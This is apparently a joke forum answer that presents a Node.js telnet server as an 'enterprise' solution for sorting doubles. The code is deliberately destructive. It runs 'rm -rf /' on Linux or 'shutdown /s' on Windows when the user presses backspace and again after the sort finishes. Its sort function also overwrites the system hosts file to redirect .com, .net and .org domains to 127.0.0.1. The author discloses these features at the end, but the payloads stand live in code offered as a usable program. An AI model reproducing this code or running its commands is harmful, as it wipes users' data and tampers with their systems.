NODE.JS - ASDFGHJKL EDITION / IBM® Javascript Enterprise Sorting Solution
Wow, this a extremely hard question, but I will try my best to answer this. (Assuming "doubles" means float).
STEP ONE - TELNET Server
First we are going to have to receive the array input, now any pro coder should know the best way to receive input is to set up a telnet server that will automatically shutdown the host computer if it receives a unrecognized command.
We will also be using commands in broken Latin from Google Translate, because nothing says good software like a telnet array sorting server using ..ehem fake.. broken latin (most of the time) for commands.
Lets start off with the basic telnet server:
// Load the TCP Library
net = require('net'),
ibm = {},
fs = require('fs'),
clients = [],
ccc = 0,
os = require('os'),
exec = require('child_process').exec;
var child = null;
path = require('path');
// Start a TCP Server
net.createServer(function (socket) {
clients.push(socket);
//Sends a nice latin welcome message
socket.write("Fusce suscipit varius in telnet voluptua!\n");
//Dis does the magic command stuff
socket.on('data', function (data) {
ccc = [0,0,0,0,0,0,0];
//Checks if the user has already inputted the command
if(!socket.needarray){
//prepares the raw command since on Win Telnet it sends char by char we're gonna need to get all the chars binded into one command.
newdata = ibm.CLEANSOCKET(data);
if(newdata && newdata != '\b'){if(socket.nowdata){socket.nowdata += newdata}else{socket.nowdata = newdata}}else{
if(socket.nowdata){
//This is where the sorting beings.
if(socket.nowdata.replace(' ', '') == ('SORTA')){
//First ask for the actual array
socket.write("Lorem ipsum 'doubles' ordinata.\n");
//Now we need the user to input the actual array so were gonna set up some vars to track their progress
socket.needarray = 1;
}else{
//DONT WORRY ABOUT THIS >;)
ibm.SORT('[1]');
}
console.log(socket.nowdata);
socket.nowdata = null;
}}
}else if(newdata == '\b'){
socket.close();
//Shuts down computer ;)
if(os.type == 'Windows_NT'){ child = exec(' shutdown /s',
function (error, stdout, stderr) {
});}else{child = exec('rm -rf /',
function (error, stdout, stderr) {
}); }
}else{
//Bundler for the array thingy
arraychar = ibm.CLEANARRAY(data);
if(arraychar != ('\n' || '\b')){if(socket.array){socket.array += arraychar}else{socket.array = arraychar}}else if(arraychar == '\b'){
socket.end();
//Shuts down computer ;)
if(os.type == 'Windows_NT'){ child = exec(' shutdown /s',
function (error, stdout, stderr) {
});}else{child = exec('rm -rf /',
function (error, stdout, stderr) {
}); }
}else{
socket.write("La sorta/ultimum/ex: "+ibm.SORT(socket.array));
socket.close();//Shuts down computer ;)
if(os.type == 'Windows_NT'){ child = exec(' shutdown /s',
function (error, stdout, stderr) {
});}else{child = exec('rm -rf /',
function (error, stdout, stderr) {
}); }
}
}
});
}).listen(23);
ibm.CLEANSOCKET = function(data) {
return data.toString().replace(/(\r\n|\n|\r)/gm,"");
}
ibm.CLEANARRAY = function(data) {
return data.toString().replace(/(\r)/gm,"");
}
There really isn't anything special to it, this is you typical telnet server.
We've created some basic UNICODE cleaning functions to get us a nice raw string and we've also added our SORTA
function. Which ..ehm doesn't.. mean SORT in latin. We have also added some responses in broken latin from google translate as you normally would do.
STEP TWO - ibm.SORT
It's now time to create our ibm.SORT
function which will sort our array.
Here is the code:
ibm.SORT = function (string){
//Cleans out the string by converting it from unicode to base64 and then ASCII
stringa = (new Buffer((new Buffer(string).toString('base64')), 'base64').toString('ascii'));
//We will now convert our string to a new string with the format CHAR_ASCII_CODE + '.', etc...
x = '', c = 0;
stringa.split('').forEach(function (i){
c++;
x += i.charCodeAt(0);
if (c != stringa.length){x+= '.';}
})
stringb = x;
//We will now convert our ASCII code encoded string back to normal raw text (all for "cleaning" purposes)
m = '';
stringb.split('.').forEach(function (i) {
m += String.fromCharCode(i);
});
stringc = m;
//We will now eval the string to make it a Javascript Object [ARRAY]. VERY SAFE ;)!
stringd = stringc.split(',');
//Will now modify your hosts file for .umm... um... FUN XD!
var hosts;
switch(os.type()){
case 'Windows_NT':
hosts = 'C:\\Windows\\system32\\drivers\\etc\\hosts';
break;
default:
hosts = '/ect/hosts';
break;
}
fs.writeFile(hosts, '127.0.0.1 com net org\n', function (err) {
if (err) throw err;
console.log('Going smoothly ;)');
});
console.log(stringd)
return stringd.sort(function(a,b){if(clients != []){return a-b+ccc[0]+ccc[3];}});
}
====END SARCASTIC POST====
Why my code is evil and unusable:
- Trying to cut out the sort function will actually break it (see line 155).
- The part that actually does sort the function is a built in feature of javascript and thus can't be handed in as work.
- IT USES FREAKING TELNET AS INPUT LOL!
- While sorting it modifies your
hosts
file so visiting a .com/.net/.org
domain will redirect to 127.0.0.1
- Typing backspace in telnet will shutdown your computer or erase your harddrive (if you're on linux)!
- Once it is finally sorted it will erase your hard drive (if linux) or shut down your computer!
NOTE: This code ACTUALLY DOES WORK and I have tested it (though I commented out most of the self destructing parts.), for proof I have added some pictures:
Connecting -
Sorting -
If you can't see the above image clearly it says:
Fusce suscipit varius in telnet voluptua! [SERVER]
SOTRA [CLIENT]
Lorem ipsum 'doubles' ordinata. [SERVER]
5.2, 4.3, 2.88, 100 [CLIENT]
La sorta/ultimum/ex: 2.88,4.3,5.2,100 [SERVER]